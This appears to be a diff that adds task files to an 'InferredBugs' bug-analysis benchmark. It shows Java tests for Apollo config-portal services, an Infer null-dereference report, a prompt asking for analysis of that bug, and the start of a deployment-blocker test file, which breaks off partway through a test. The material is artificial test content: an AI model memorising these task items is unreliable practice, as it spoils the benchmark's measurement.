+    ReflectionTestUtils.setField(versionAPI, "restTemplate", restTemplate);
+    ReflectionTestUtils.setField(clusterAPI, "restTemplate", restTemplate);
+    ReflectionTestUtils.setField(configAPI, "restTemplate", restTemplate);
+
+    ReflectionTestUtils.setField(versionAPI, "serviceLocator", serviceLocator);
+    ReflectionTestUtils.setField(clusterAPI, "serviceLocator", serviceLocator);
+    ReflectionTestUtils.setField(configAPI, "serviceLocator", serviceLocator);
+
+    String defaultAdminService = "http://localhost:8090";
+    Mockito.doReturn(defaultAdminService).when(serviceLocator).getAdminService(Env.DEV);
+  }
+
+  @Test
+  public void testLoadReleaseConfig() {
+    long appId = 6666;
+    long versionId = 100;
+    long releaseId = 11111;
+
+    VersionDTO someVersion = assembleVersion(appId, "1.0", releaseId);
+    ReleaseSnapshotDTO[] someReleaseSnapShots = assembleReleaseSnapShots();
+
+    when(versionAPI.getVersionById(Env.DEV, versionId)).thenReturn(someVersion);
+    when(configAPI.getConfigByReleaseId(Env.DEV, releaseId)).thenReturn(someReleaseSnapShots);
+
+    AppConfigVO appConfigVO = configService.loadReleaseConfig(Env.DEV, appId, versionId);
+
+    assertEquals(appConfigVO.getAppId(), appId);
+    assertEquals(appConfigVO.getVersionId(), versionId);
+    assertEquals(appConfigVO.getDefaultClusterConfigs().size(), 2);
+    assertEquals(appConfigVO.getOverrideAppConfigs().size(), 2);
+    assertEquals(appConfigVO.getOverrideClusterConfigs().size(), 2);
+  }
+
+  @Test
+  public void testLoadReleaseConfigOnlyDefaultConfigs() {
+    long appId = 6666;
+    long versionId = 100;
+    long releaseId = 11111;
+
+    VersionDTO someVersion = assembleVersion(appId, "1.0", releaseId);
+    ReleaseSnapshotDTO[] someReleaseSnapShots = new ReleaseSnapshotDTO[1];
+    someReleaseSnapShots[0] = assembleReleaseSnapShot(11111, Constants.DEFAULT_CLUSTER_NAME,
+                                                  "{\"6666.foo\":\"demo1\", \"6666.bar\":\"demo2\"}");
+
+    when(versionAPI.getVersionById(Env.DEV, versionId)).thenReturn(someVersion);
+    when(configAPI.getConfigByReleaseId(Env.DEV, releaseId)).thenReturn(someReleaseSnapShots);
+
+    AppConfigVO appConfigVO = configService.loadReleaseConfig(Env.DEV, appId, versionId);
+
+    assertEquals(appConfigVO.getAppId(), appId);
+    assertEquals(appConfigVO.getVersionId(), versionId);
+    assertEquals(appConfigVO.getDefaultClusterConfigs().size(), 2);
+    assertEquals(appConfigVO.getOverrideAppConfigs().size(), 0);
+    assertEquals(appConfigVO.getOverrideClusterConfigs().size(), 0);
+  }
+
+  @Test
+  public void testLoadReleaseConfigDefaultConfigsAndOverrideApp() {
+    long appId = 6666;
+    long versionId = 100;
+    long releaseId = 11111;
+    VersionDTO someVersion = assembleVersion(appId, "1.0", releaseId);
+    ReleaseSnapshotDTO[] someReleaseSnapShots = new ReleaseSnapshotDTO[1];
+    someReleaseSnapShots[0] = assembleReleaseSnapShot(11111, Constants.DEFAULT_CLUSTER_NAME,
+                                                  "{\"6666.foo\":\"demo1\", \"6666.bar\":\"demo2\", \"5555.bar\":\"demo2\", \"22.bar\":\"demo2\"}");
+
+    when(versionAPI.getVersionById(Env.DEV, versionId)).thenReturn(someVersion);
+    when(configAPI.getConfigByReleaseId(Env.DEV, releaseId)).thenReturn(someReleaseSnapShots);
+
+    AppConfigVO appConfigVO = configService.loadReleaseConfig(Env.DEV, appId, versionId);
+
+    assertEquals(appConfigVO.getAppId(), appId);
+    assertEquals(appConfigVO.getVersionId(), versionId);
+    assertEquals(appConfigVO.getDefaultClusterConfigs().size(), 2);
+    assertEquals(2, appConfigVO.getOverrideAppConfigs().size());
+    assertEquals(appConfigVO.getOverrideClusterConfigs().size(), 0);
+  }
+
+  @Test
+  public void testLoadReleaseConfigDefaultConfigsAndOverrideCluster() {
+    long appId = 6666;
+    long versionId = 100;
+    long releaseId = 11111;
+    VersionDTO someVersion = assembleVersion(appId, "1.0", releaseId);
+    ReleaseSnapshotDTO[] someReleaseSnapShots = new ReleaseSnapshotDTO[2];
+    someReleaseSnapShots[0] = assembleReleaseSnapShot(11111, Constants.DEFAULT_CLUSTER_NAME,
+                                                  "{\"6666.foo\":\"demo1\", \"6666.bar\":\"demo2\"}");
+    someReleaseSnapShots[1] = assembleReleaseSnapShot(11112, "cluster1",
+                                                  "{\"6666.foo\":\"demo1\", \"6666.bar\":\"demo2\"}");
+
+    when(versionAPI.getVersionById(Env.DEV, versionId)).thenReturn(someVersion);
+    when(configAPI.getConfigByReleaseId(Env.DEV, releaseId)).thenReturn(someReleaseSnapShots);
+
+    AppConfigVO appConfigVO = configService.loadReleaseConfig(Env.DEV, appId, versionId);
+
+    assertEquals(appConfigVO.getAppId(), appId);
+    assertEquals(appConfigVO.getVersionId(), versionId);
+    assertEquals(appConfigVO.getDefaultClusterConfigs().size(), 2);
+    assertEquals(0, appConfigVO.getOverrideAppConfigs().size());
+    assertEquals(1, appConfigVO.getOverrideClusterConfigs().size());
+  }
+
+  @Test
+  public void testLoadLastestConfig() {
+    long appId = 6666;
+    ClusterDTO[] someClusters = assembleClusters();
+    ConfigItemDTO[] someConfigItem = assembleConfigItems();
+
+    when(clusterAPI.getClustersByApp(Env.DEV, appId)).thenReturn(someClusters);
+    when(configAPI.getLatestConfigItemsByClusters(Env.DEV, Arrays
+        .asList(Long.valueOf(100), Long.valueOf(101)))).thenReturn(someConfigItem);
+
+    AppConfigVO appConfigVO = configService.loadLatestConfig(Env.DEV, appId);
+
+    assertEquals(appConfigVO.getAppId(), 6666);
+    assertEquals(appConfigVO.getVersionId(), PortalConstants.LASTEST_VERSION_ID);
+    assertEquals(appConfigVO.getDefaultClusterConfigs().size(), 3);
+    assertEquals(appConfigVO.getOverrideAppConfigs().size(), 1);
+    assertEquals(appConfigVO.getOverrideClusterConfigs().size(), 1);
+  }
+
+  private VersionDTO assembleVersion(long appId, String versionName, long releaseId) {
+    VersionDTO version = new VersionDTO();
+    version.setAppId(appId);
+    version.setName(versionName);
+    version.setReleaseId(releaseId);
+    return version;
+  }
+
+  private ReleaseSnapshotDTO[] assembleReleaseSnapShots() {
+    ReleaseSnapshotDTO[] releaseSnapShots = new ReleaseSnapshotDTO[3];
+    releaseSnapShots[0] = assembleReleaseSnapShot(11111, Constants.DEFAULT_CLUSTER_NAME,
+                                                  "{\"6666.foo\":\"demo1\", \"6666.bar\":\"demo2\",\"3333.foo\":\"1008\",\"4444.bar\":\"99901\"}");
+    releaseSnapShots[1] = assembleReleaseSnapShot(11111, "cluster1", "{\"6666.foo\":\"demo1\"}");
+    releaseSnapShots[2] = assembleReleaseSnapShot(11111, "cluster2", "{\"6666.bar\":\"bar2222\"}");
+    return releaseSnapShots;
+  }
+
+  private ReleaseSnapshotDTO assembleReleaseSnapShot(long releaseId, String clusterName,
+                                                     String configurations) {
+    ReleaseSnapshotDTO releaseSnapShot = new ReleaseSnapshotDTO();
+    releaseSnapShot.setReleaseId(releaseId);
+    releaseSnapShot.setClusterName(clusterName);
+    releaseSnapShot.setConfigurations(configurations);
+    return releaseSnapShot;
+  }
+
+  private ClusterDTO[] assembleClusters() {
+    ClusterDTO[] clusters = new ClusterDTO[2];
+    clusters[0] = assembleCluster(100, 6666, Constants.DEFAULT_CLUSTER_NAME);
+    clusters[1] = assembleCluster(101, 6666, "cluster1");
+    return clusters;
+  }
+
+  private ClusterDTO assembleCluster(long id, long appId, String name) {
+    ClusterDTO cluster = new ClusterDTO();
+    cluster.setAppId(appId);
+    cluster.setId(id);
+    cluster.setName(name);
+    return cluster;
+  }
+
+  private ConfigItemDTO[] assembleConfigItems() {
+    ConfigItemDTO[] configItems = new ConfigItemDTO[5];
+    configItems[0] =
+        assembleConfigItem(100, Constants.DEFAULT_CLUSTER_NAME, 6666, "6666.k1", "6666.v1");
+    configItems[1] =
+        assembleConfigItem(100, Constants.DEFAULT_CLUSTER_NAME, 6666, "6666.k2", "6666.v2");
+    configItems[2] =
+        assembleConfigItem(100, Constants.DEFAULT_CLUSTER_NAME, 6666, "6666.k3", "6666.v3");
+    configItems[3] =
+        assembleConfigItem(100, Constants.DEFAULT_CLUSTER_NAME, 5555, "5555.k1", "5555.v1");
+    configItems[4] = assembleConfigItem(101, "cluster1", 6666, "6666.k1", "6666.v1");
+    return configItems;
+  }
+
+  private ConfigItemDTO assembleConfigItem(long clusterId, String clusterName, int appId,
+                                           String key, String value) {
+    ConfigItemDTO configItem = new ConfigItemDTO();
+    configItem.setClusterName(clusterName);
+    configItem.setClusterId(clusterId);
+    configItem.setAppId(appId);
+    configItem.setKey(key);
+    configItem.setValue(value);
+    return configItem;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `appConfigVO` last assigned on line 145 could be null and is dereferenced at line 147.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConfigServiceTest.testLoadReleaseConfigDefaultConfigsAndOverrideCluster()
+
+### Procedure Id:
+com.ctrip.apollo.portal.service.ConfigServiceTest.testLoadReleaseConfigDefaultConfigsAndOverrideClus.f9c1528e9b1a1ad9bb76e84d25b27889
+
+### File:
+apollo-portal/src/test/java/com/ctrip/apollo/portal/service/ConfigServiceTest.java
+
+### Key:
+ConfigServiceTest.java|testLoadReleaseConfigDefaultConfigsAndOverrideCluster|NULL_DEREFERENCE
+
+### Node Key:
+85f6f5d6678fe27e5119d8f5b7885afd
+
+### Hash:
+b65318a5ad4edf2fee254d40f9504c79
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8338/instruction.md b/inferredbugs-8338/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3449bbdb2bf9b87c6dcbb9f4ba23c39df0e4749b
--- /dev/null
+++ b/inferredbugs-8338/instruction.md
@@ -0,0 +1,585 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** apollo
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package io.logz.apollo;
+
+import io.logz.apollo.clients.ApolloTestAdminClient;
+import io.logz.apollo.clients.ApolloTestClient;
+import io.logz.apollo.exceptions.ApolloClientException;
+import io.logz.apollo.helpers.Common;
+import io.logz.apollo.helpers.ModelsGenerator;
+import io.logz.apollo.models.BlockerDefinition;
+import io.logz.apollo.models.DeployableVersion;
+import io.logz.apollo.models.Environment;
+import io.logz.apollo.models.Service;
+import io.logz.apollo.models.Stack;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.time.LocalDate;
+import java.time.LocalTime;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import static io.logz.apollo.helpers.ModelsGenerator.createAndSubmitBlocker;
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatThrownBy;
+
+/**
+ * Created by roiravhon on 6/5/17.
+ */
+public class BlockerTest {
+
+    private final static String APOLLO_REPO_URL = "https://github.com/logzio/apollo";
+    private final static String APOLLO_FAILED_STATUS_CHECKS_COMMIT = "63b79a229defab92df685dcc4e47dd35f0518ef0";
+    private final static String APOLLO_VALID_STATUS_CHECKS_COMMIT = "7e01c7e4cfddeadd49d4a4e9ed575b24e9210f4b";
+
+    @Test
+    public void testEverythingBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, null);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        blocker.setActive(false);
+        apolloTestAdminClient.updateBlocker(blocker);
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion);
+    }
+
+    @Test
+    public void testUnconditionalBlockerWithServiceAndEnvironmentException() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+
+        List<Integer> exceptionServiceIds = new ArrayList<Integer>() {{ add(service.getId()); }};
+        List<Integer> exceptionEnvironmentIds = new ArrayList<Integer>() {{ add(environment.getId()); }};
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "unconditional", getUnconditionalBlockerConfiguration(exceptionServiceIds, exceptionEnvironmentIds), null, null);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion);
+
+        blocker.setActive(false);
+        apolloTestAdminClient.updateBlocker(blocker);
+    }
+
+    @Test
+    public void testUnconditionalBlockerWithEnvironmentException() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment exceptionEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+        Environment otherEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+
+        List<Integer> exceptionEnvironmentIds = new ArrayList<Integer>() {{ add(exceptionEnvironment.getId()); }};
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "unconditional", getUnconditionalBlockerConfiguration(null, exceptionEnvironmentIds), null, service);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, otherEnvironment, service, deployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, exceptionEnvironment, service, deployableVersion);
+
+        blocker.setActive(false);
+        apolloTestAdminClient.updateBlocker(blocker);
+    }
+
+    @Test
+    public void testUnconditionalBlockerWithServiceException() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service exceptionService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, exceptionService);
+        Service otherService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion otherDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, otherService);
+
+        List<Integer> exceptionServiceIds = new ArrayList<Integer>() {{ add(exceptionService.getId()); }};
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "unconditional", getUnconditionalBlockerConfiguration(exceptionServiceIds, null), environment, null);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, otherService, otherDeployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, exceptionService, deployableVersion);
+
+        blocker.setActive(false);
+        apolloTestAdminClient.updateBlocker(blocker);
+    }
+
+    @Test
+    public void testEnvironmentBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment blockedEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Environment okEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", blockedEnvironment, null);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, blockedEnvironment, service, deployableVersion)).isInstanceOf(Exception.class)
+            .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, okEnvironment, service, deployableVersion);
+    }
+
+    @Test
+    public void testServiceBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service blockedService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Service okService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion blockedDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, blockedService);
+        DeployableVersion okDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, okService);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, blockedService);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, blockedService, blockedDeployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, okService, okDeployableVersion);
+    }
+
+    @Test
+    public void testEnvironmentsStackBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment blockedEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Environment okEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Stack blockedEnvironmentsStack = ModelsGenerator.createAndSubmitEnvironmentsStack(apolloTestClient, Arrays.asList(blockedEnvironment.getId()));
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, null, blockedEnvironmentsStack);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, blockedEnvironment, service, deployableVersion)).isInstanceOf(Exception.class)
+                                                                                                                                                    .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, okEnvironment, service, deployableVersion);
+    }
+
+    @Test
+    public void testServicesStackBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service blockedService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Service okService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Stack blockedServicesStack = ModelsGenerator.createAndSubmitServicesStack(apolloTestClient, Arrays.asList(blockedService.getId()));
+        DeployableVersion blockedDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, blockedService);
+        DeployableVersion okDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, okService);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, null, blockedServicesStack);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, blockedService, blockedDeployableVersion)).isInstanceOf(Exception.class)
+                                                                                                                                                    .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, okService, okDeployableVersion);
+    }
+
+    @Test
+    public void testBlockByAvailabilityOnSpecificService() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        String availability = "BLOCK-ME-1";
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(availability, apolloTestClient);
+        Service blockedService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, blockedService, null, availability);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, blockedService);
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, blockedService, deployableVersion)).isInstanceOf(Exception.class)
+                                                                                                                                                           .hasMessageContaining("Deployment is currently blocked");
+    }
+
+    @Test
+    public void testBlockByAvailabilityOnAllServices() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        String availability = "BLOCK-ME-2";
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(availability, apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, null, null, availability);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion)).isInstanceOf(Exception.class)
+                                                                                                                                         .hasMessageContaining("Deployment is currently blocked");
+    }
+
+    @Test
+    public void testNonBlockedDeploymentWithAvailabilityBlockerOnSpecificService() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        String availability = "BLOCK-ME-3";
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(availability, apolloTestClient); //Environment in this availability
+        Service blockedService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, blockedService, null, availability);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion);
+    }
+
+    @Test
+    public void testNonBlockedDeploymentWithAnotherAvailabilityBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        String availability = "BLOCK-ME-4";
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient); //Random availability
+        Service blockedService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, blockedService, null, availability);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion);
+    }
+
+    @Test
+    public void testCreatingInvalidAvailabilityBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        String availability = "BLOCK-ME-5";
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(availability, apolloTestClient);
+        String errorMessage = String.format("Trying to add invalid blocker. stackId - null, environmentId - %s, serviceId - null, availability - %s", environment.getId(), availability);
+
+        assertThatThrownBy(() -> ModelsGenerator. createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", environment, null, null, availability))
+                .isInstanceOf(ApolloClientException.class)
+                .hasMessageContaining(errorMessage);
+    }
+
+    @Test
+    public void testAddingInvalidBlockers() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Stack servicesStack = ModelsGenerator.createAndSubmitServicesStack(apolloTestClient, Arrays.asList(service.getId()));
+
+        String errorMessage = "Trying to add invalid blocker. ";
+
+        assertThatThrownBy(() -> ModelsGenerator. createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", null, service, servicesStack)).isInstanceOf(ApolloClientException.class)
+                                                                                                                                                                   .hasMessageContaining(errorMessage + String.format("stackId - %s, environmentId - null, serviceId - %s, availability - null", servicesStack.getId(), service.getId()));
+
+        assertThatThrownBy(() -> ModelsGenerator. createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", environment, null, servicesStack)).isInstanceOf(ApolloClientException.class)
+                                                                                                                                                                   .hasMessageContaining(errorMessage + String.format("stackId - %s, environmentId - %s, serviceId - null", servicesStack.getId(), environment.getId()));
+
+        assertThatThrownBy(() -> ModelsGenerator. createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", environment, service, servicesStack)).isInstanceOf(ApolloClientException.class)
+                                                                                                                                                                .hasMessageContaining(errorMessage + String.format("stackId - %s, environmentId - %s, serviceId - %s", servicesStack.getId(), environment.getId(), service.getId()));
+    }
+
+    @Test
+    public void testSpecificBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment blockedEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Environment okEnvironment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service blockedService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        Service okService = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion blockedDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, blockedService);
+        DeployableVersion okDeployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, okService);
+
+        createAndSubmitBlocker(apolloTestAdminClient, "unconditional", "{}", blockedEnvironment, blockedService);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, blockedEnvironment, blockedService, blockedDeployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, blockedEnvironment, okService, okDeployableVersion);
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, okEnvironment, blockedService, blockedDeployableVersion);
+    }
+
+    @Test
+    public void testTimeBasedBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+        DeployableVersion deployableVersion = ModelsGenerator.createAndSubmitDeployableVersion(apolloTestClient, service);
+
+        int dayOfWeek = LocalDate.now().getDayOfWeek().getValue();
+        LocalTime twoMinutesFromNow = LocalTime.now().plusMinutes(2);
+        LocalTime twoMinutesBeforeNow = LocalTime.now().minusMinutes(2);
+        LocalTime threeMinutesFromNow = LocalTime.now().plusMinutes(3);
+
+        BlockerDefinition blocker = createAndSubmitBlocker(apolloTestAdminClient, "timebased",
+                getTimeBasedBlockerJsonConfiguration(dayOfWeek, twoMinutesBeforeNow, twoMinutesFromNow),
+                environment, service);
+
+        assertThatThrownBy(() -> ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion)).isInstanceOf(Exception.class)
+                .hasMessageContaining("Deployment is currently blocked");
+
+        blocker.setBlockerJsonConfiguration(getTimeBasedBlockerJsonConfiguration(dayOfWeek, twoMinutesFromNow, threeMinutesFromNow));
+        apolloTestAdminClient.updateBlocker(blocker);
+
+        ModelsGenerator.createAndSubmitDeployment(apolloTestClient, environment, service, deployableVersion);
+    }
+
+    @Test
+    @Ignore
+    public void testBranchBlocker() throws Exception {
+        ApolloTestClient apolloTestClient = Common.signupAndLogin();
+        ApolloTestAdminClient apolloTestAdminClient = Common.getAndLoginApolloTestAdminClient();
+
+        Environment environment = ModelsGenerator.createAndSubmitEnvironment(apolloTestClient);
+        Service service = ModelsGenerator.createAndSubmitService(apolloTestClient);
+
+        // Create a deployable version from logzio public API repo (small public one)
+        DeployableVersion deployableVersion = new DeployableVersion();
